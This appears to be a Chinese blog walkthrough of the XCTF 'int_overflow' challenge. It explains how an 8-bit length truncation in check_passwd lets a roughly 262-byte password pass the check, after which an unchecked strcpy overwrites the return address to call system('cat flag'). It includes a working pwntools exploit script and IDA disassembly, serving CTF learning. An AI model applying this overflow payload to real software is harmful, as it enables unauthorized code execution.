整數溢出攻擊(二):ctf整數溢出導致棧溢出出實戰


   1、本想拿windows下整數溢出做漏洞實戰,奈何沒找到合適的windows版本鏡像,看不到實際效果,只能作罷;遂拿ctf的整數溢出學習;xctf下面有個int_overflow題不錯,可以拿來練手!

         

         這里建議把int_overflow下載到本地測試,不要通過網絡遠程測試(坑得一b);我用的是kali的系統,裝了docker鏡像,這份代碼是在鏡像中運行的。效果如下:隨便屬於什么內容都提示success;

root@xxx_ctf:/ctf/work# ./int_overflow 
---------------------
~~ Welcome to CTF! ~~
       1.Login       
       2.Exit        
---------------------
Your choice:1
Please input your username:
admin
Hello admin

Please input your passwd:
123456
Success

       同目錄下自己建了個flag文件,后續int_overflow溢出時會讀這個flag文件;flag文件的內容是:flag{1234567890}

      

     這里先解釋一下為什么不要通過網絡遠程測試,這是我測試時報的錯:sendlineafter函數出錯了,一直報raise EOFERROR錯誤;查了好久的資料,https://github.com/Gallopsled/pwntools/issues/47 這里給了提示:If there's no data to read, an EOFError is raised to the top level;如果服務器沒有數據返回,這個函數就會報EOFError錯誤。后來換成本地測試,一切都正常了!

root@xxxx_ctf:/ctf/work# python3 int_overflow.py
[+] Opening connection to 111.200.241.244 on port 57052: Done
Traceback (most recent call last):
  File "int_overflow.py", line 4, in <module>
    io.sendlineafter("Your choice:", "1")
  File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 796, in sendlineafter
    res = self.recvuntil(delim, timeout=timeout)
  File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 310, in recvuntil
    res = self.recv(timeout=self.timeout)
  File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 82, in recv
    return self._recv(numb, timeout) or b''
  File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 160, in _recv
    if not self.buffer and not self._fillbuffer(timeout):
  File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/tube.py", line 131, in _fillbuffer
    data = self.recv_raw(self.buffer.get_fill_size())
  File "/usr/local/lib/python3.8/dist-packages/pwnlib/tubes/sock.py", line 56, in recv_raw
    raise EOFError
EOFError

  先看看本地測試的結果:成功拿到flag{1234567890}(當然這個flag是我剛才人為“偽造”的);

root@xxxx_ctf:/ctf/work# python3 int_overflow.py
[+] Starting local process './int_overflow': pid 182
[*] Switching to interactive mode

Success
flag{1234567890}
[*] Got EOF while reading in interactive
$ 
[*] Process './int_overflow' stopped with exit code -11 (SIGSEGV) (pid 182)
[*] Got EOF while sending in interactive

     先把POC貼出來:這是在我kali本機測試的代碼

from pwn import *
#io = remote("111.200.241.244", 57052)
io = process("./int_overflow")
cat_flag_addr = 0x0804868B
io.sendlineafter("Your choice:","1")
io.sendlineafter("your username:","kk")
io.recvuntil("your passwd:")
payload = b"a" * 0x14 + b"aaaa" + p32(cat_flag_addr)+b"a"*234
io.sendline(payload)
#io.recvall()
io.interactive()

  2、現在分析代碼原理

        很多時候做逆向,我們是拿不到源代碼的(這不廢話么,都能拿到源代碼了還需要逆向么?直接正常二次開發不就完了?)。對於大型的工程,代碼都是幾十、幾百萬行的,轉成匯編后代碼會更多,這么多代碼,應該從哪入手了?

       (1) 一般情況下,都是從數據開始的。根據逆向的目的,先找到數據,比如破解軟件,找到注冊失敗的提示;又比如破解登陸,找到登陸失敗的提示等。動態調試可以通過CE,這里是靜態分析,就用IDA了。先打開IDA,來到string窗口。這里既然是ctf比賽,目的是拿到flag,自然而言就是先找flag了嘛!這里剛好有cat flag字符串,應該就是這里了(看看上文,我在同目錄下新建了一個flag文件的,這里大概率就是在linux下通過cat命令查看文件內容的);

   

        進入text界面,看到這里使用了cat flag字符,這下立即明朗了:這里把cat flag壓棧,然后調用system命令執行cat flag字符串。所以如果我們想看到flag,就必須想辦法跳轉到這個函數的入口點,即:0x804868B;

       

        正常情況下,這些代碼都在服務器,我們是沒法改代碼的(要是都能改代碼了,說明已經能控制服務器了,溢出已經沒意義)。要想讓程序跳轉到0x804868B執行,只能想辦法改變各個函數返回地址的值,讓ebp+4的地方被改成0x804868B;那么問題又來了,從main開始,經過了層層的函數調用,到底改哪個函數的ebp+4最合適了

       剛才說了,程序都在服務端,逆向人員此時是沒法改代碼的,只能通過發送超長的字符串去改變ebp+4,所以一般情況下,最好是更改字符串接受函數的ebp+4;從目標代碼執行的情況看,有3個地方接受了用戶的輸入,分別是:

  •        選擇login還是exit
  •        輸入用戶名
  •        輸入密碼

       這3個地方,哪個地方最適合發送我們構造的payload去改變epb+4了?

     (2)先看第一個地方:選擇login還是exit;從匯編代碼看,輸入必須是整數;用戶的輸入分別和1或2比較。如果既不是1、也不是2,那么打印Invalid code提示;這對用戶輸入的類型做了限制,只能是1或2,所以暫時放棄,不考慮這里了!

  

       繼續分析后兩個用戶輸入之前,先進login函數瞅瞅:這里分別初始化兩個字符串s和buf,長度分別是0x20和0x200. 經驗上看,0x20應該是用戶名,0x200的應該是密碼,畢竟密碼不能公開,長一點更安全的嘛!又有一點要注意:這里是都是外平棧的,函數調用完后才通過add esp的方式平棧!

.text:0804872C                 push    20h ; ' '       ; n
.text:0804872E                 push    0               ; c
.text:08048730                 lea     eax, [ebp+s]
.text:08048733                 push    eax             ; s
.text:08048734                 call    _memset
.text:08048739                 add     esp, 10h
.text:0804873C                 sub     esp, 4
.text:0804873F                 push    200h            ; n
.text:08048744                 push    0               ; c
.text:08048746                 lea     eax, [ebp+buf]
.text:0804874C                 push    eax             ; s
.text:0804874D                 call    _memset
.text:08048752                 add     esp, 10h

     然后再調用read函數把用戶輸入的用戶名保存在s;這里用戶名限制了長度,不能超過0x19=25個字節;

.text:08048765                 sub     esp, 4
.text:08048768                 push    19h             ; nbytes
.text:0804876A                 lea     eax, [ebp+s]
.text:0804876D                 push    eax             ; buf
.text:0804876E                 push    0               ; fd
.text:08048770                 call    _read
.text:08048775                 add     esp, 10h

     接着打印用戶輸入的用戶名,確保用戶沒輸錯:

.text:08048778                 sub     esp, 8
.text:0804877B                 lea     eax, [ebp+s]
.text:0804877E                 push    eax
.text:0804877F                 push    offset format   ; "Hello %s\n"
.text:08048784                 call    _printf
.text:08048789                 add     esp, 10h

  接着繼續輸入密碼:同樣調用read函數,把用戶輸入的密碼保存在buf中;這里密碼的長度在0-0x199之間;

.text:0804878C                 sub     esp, 0Ch
.text:0804878F                 push    offset aPleaseInputYou_0 ; "Please input your passwd:"
.text:08048794                 call    _puts
.text:08048799                 add     esp, 10h
.text:0804879C                 sub     esp, 4
.text:0804879F                 push    199h            ; nbytes
.text:080487A4                 lea     eax, [ebp+buf]
.text:080487AA                 push    eax             ; s
.text:080487AB                 push    0               ; fd
.text:080487AD                 call    _read
.text:080487B2                 add     esp, 10h

      這還沒完了,用戶輸入完密碼,接着調用check_passwd函數對密碼做檢查:

.text:080487B5                 sub     esp, 0Ch
.text:080487B8                 lea     eax, [ebp+buf]
.text:080487BE                 push    eax             ; buf
.text:080487BF                 call    check_passwd
.text:080487C4                 add     esp, 10h

  進入check_password看看是怎么檢查密碼的,代碼如下;核心就是看看密碼的長度,必須在3~8之間,否則提示密碼無效;

.text:080486AA                 sub     esp, 0Ch
.text:080486AD                 push    [ebp+s]         ; s
.text:080486B0                 call    _strlen
.text:080486B5                 add     esp, 10h
.text:080486B8                 mov     [ebp+var_9], al
.text:080486BB                 cmp     [ebp+var_9], 3
.text:080486BF                 jbe     short loc_80486FC
.text:080486C1                 cmp     [ebp+var_9], 8
.text:080486C5                 ja      short loc_80486FC
.text:080486C7                 sub     esp, 0Ch
.text:080486CA                 push    offset s        ; "Success"
.text:080486CF                 call    _puts
.text:080486D4                 add     esp, 10h
.text:080486D7                 mov     eax, ds:stdout@@GLIBC_2_0
.text:080486DC                 sub     esp, 0Ch
.text:080486DF                 push    eax             ; stream
.text:080486E0                 call    _fflush
.text:080486E5                 add     esp, 10h
.text:080486E8                 sub     esp, 8
.text:080486EB                 push    [ebp+s]         ; src
.text:080486EE                 lea     eax, [ebp+dest]
.text:080486F1                 push    eax             ; dest
.text:080486F2                 call    _strcpy
.text:080486F7                 add     esp, 10h

        以上就是用戶名和密碼輸入的簡單分析和解讀,那么到底哪個更適合用來發送我們的payload了?這里先畫個簡單的堆棧圖:login函數一進來就分配了0x228的空間。在此基礎上調用read函數接受輸入的用戶名;這里就無法通過用戶名覆蓋login函數的返回地址了,原因如下:

  •     保存用戶名的read函數棧如下如所示:從read的參數看,用戶名被保存在ebp-0x28的位置,但read只讀取了不超過0x19=25字節的長度,是無法覆蓋login返回地址的

         

  既然用戶名這里不行,那就繼續看密碼的輸入;根據代碼畫堆棧圖如下:發現和用戶名一樣的窘境:read這里限制只讀取0x199個字節,從ebp-0x228這里開始讀0x199還是夠不着login的返回地址,這可咋整呀?(注意:嚴格講:紅框部分不能叫read函數棧,我這里是為了區分login函數主題才這樣叫的!)

        

      既然密碼輸入那里也不行,那就繼續找唄;只要涉及到函數調用的地方,肯定會在ebp+4的地方保存返回地址,就存在被覆蓋的可能!下一個就是檢查密碼長度的check_passwd函數了,函數的棧圖如下:從這里也看出不能覆蓋login的返回地址,繼續進入check_passwd函數看:(注意:嚴格講:紅框部分不能叫check_passwd函數棧,我這里是為了區分login函數主題才這樣叫的!)

      

      進入check_passwd函數,前面都是常規的操作:分配棧空間、計算密碼長度,看看密碼長度是不是在3和8之間,如果是就打印success;這里沒有可以利用的地方,略過!

.text:080486A4                 push    ebp
.text:080486A5                 mov     ebp, esp
.text:080486A7                 sub     esp, 18h
.text:080486AA                 sub     esp, 0Ch
.text:080486AD                 push    [ebp+s]         ; s
.text:080486B0                 call    _strlen
.text:080486B5                 add     esp, 10h
.text:080486B8                 mov     [ebp+var_9], al ; ebp-0x9
.text:080486BB                 cmp     [ebp+var_9], 3
.text:080486BF                 jbe     short loc_80486FC
.text:080486C1                 cmp     [ebp+var_9], 8
.text:080486C5                 ja      short loc_80486FC
.text:080486C7                 sub     esp, 0Ch
.text:080486CA                 push    offset s        ; "Success"
.text:080486CF                 call    _puts
.text:080486D4                 add     esp, 10h
.text:080486D7                 mov     eax, ds:stdout@@GLIBC_2_0
.text:080486DC                 sub     esp, 0Ch
.text:080486DF                 push    eax             ; stream
.text:080486E0                 call    _fflush
.text:080486E5                 add     esp, 10h

  前面執行完,這里有個strcpy操作,關鍵點終於來了: 這個函數的參數分別是密碼和ebp-0x14(注意:這里的ebp是check_passwd函數的),也就是把密碼拷貝到ebp-0x14處,並且沒有長度檢查喲,是全部拷貝喲!如果從這里開始計算,需要多少個字節才能覆蓋返回地址了? 覆蓋哪個函數的返回地址了?

   

   從上面的棧圖可以看到,此時棧上有兩個返回地址,距離ebp-0x14最近的當然是check_passwd的返回地址了(返回到login)。另一個是就是login的返回地址了(返回到main)。這里覆蓋哪一個最合適了?一般情況下是就近原則:選擇當前調用函數的返回地址覆蓋!這里先選check_passwd的返回地址覆蓋;

       密碼被復制到ebp-0x14的地方,ebp+4才是返回地址,所以需要先填充0x14+0x4個字節,接着再寫入我們指定的返回地址即可,所以payload如下:

  •        b"a"*0x14+b"a"*4+p32(我們指定的跳轉地址)

  這樣就完了么? 這個payload一共0x14+4+4=28字節=0001 1100字節,但是check_passwd里面有如下關鍵的檢查代碼:先調用strlen計算出密碼長度,然后保存在eax;此時取al、也就是密碼長度的最低8bit,看看是不是在3~8之間;如果不是,就跳轉到另一個分支,不會再執行strcpy,所以我們構造的密碼的長度需要繞過這個檢查

.text:080486AA                 sub     esp, 0Ch
.text:080486AD                 push    [ebp+s]         ; s
.text:080486B0                 call    _strlen
.text:080486B5                 add     esp, 10h
.text:080486B8                 mov     [ebp+var_9], al ; ebp-0x9
.text:080486BB                 cmp     [ebp+var_9], 3
.text:080486BF                 jbe     short loc_80486FC
.text:080486C1                 cmp     [ebp+var_9], 8
.text:080486C5                 ja      short loc_80486FC

  這里al寄存器的值必須在4(不包括3)~8之間,所以字符串的長度必須是2^8+4 ~ 2^8+8 之間,原因很簡單:al已經固定了在3~8,否則通不過長度檢查,那么只能在ah上想辦法了,此時如果ah最低位是1,那么此時的ax=2^8=1 0000 0000,加上al的值,也就在1 0000 0100 ~ 1 0000 1000之間了;所以我們構造的密碼字符串長度的需要在260~264之間!

  上面的payload我們只填充了28個字節,還差至少260-28=232個字節,所以這里繼續構造paylaod(取個中間數,剛好卡在4~8中間,不踩線):

  •   b"a"*0x14+b"a"*4+p32(我們指定的跳轉地址) + b"a"*234

  

總結:

  •       這里調用關系層級比較多:main->login->check_passwd->strcpy,一直到strcpy才找到覆蓋ebp的地方,挖掘這種漏洞需要耐心!
  •       每調用一次函數就會在棧存放返回地址,就有被覆蓋的可能,一般是選擇距離最近(也就是當前調用函數)的返回地址覆蓋
  •       棧溢出高危地方的特征:
    • mov [ebp+寄存器*4+立即數], 寄存器;  這里通過改變寄存器的值能改變ebp+4的值,達到覆蓋返回地址的效果!
    • 字符串操作函數比如strcat、memset、strcpy等函數前面出現了lea [ebp+立即數],這就是把棧地址作為參數傳入這些函數,然后這個特定的棧地址寫數據,這里也存在溢出的可能性

       

補充說明:

        C和C++有地址、指針的概念,加上逆向又可能多重指針,層層嵌套,很多初學者可能不好理解,我這里總結了一下這些概念之間的關系;就拿前段時間分析sqlite數據庫的一張截圖,如下:比如我定義了一個字符串char *s = “C:\users\xxxx\xxxxx\xxxx\xxxx”,這行代碼怎么理解了? 

  •        首先,s是個指針,它本身就是個變量,存放在棧里的,所以這個變量本身也是要占用棧空間的。&s就表示取s占用空間的地址,也就是棧上的地址,也就是最左邊那一列(看我圖中標記的&s)
  •        其次:s表示指針,也就是指向的地址空間在哪,那么就是存儲在棧上的數據,也就是中間那列(看我圖中標記的s);注意:&s和s都是地址,&s表示s這個變量本身的地址,s表示這個變量存儲(也就是指向)的地址,這兩個是不一樣的!這里很容易混淆!
  •       *s表示取內容,也就是把堆上字符串取出來,就是最右邊那列!

       

 

參考:

1、https://github.com/danigargu/CVE-2020-0796  Windows SMBv3 LPE Exploit

2、https://security.tencent.com/index.php/blog/msg/117   Windows 10下MS16-098 RGNOBJ整數溢出漏洞分析及利用


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM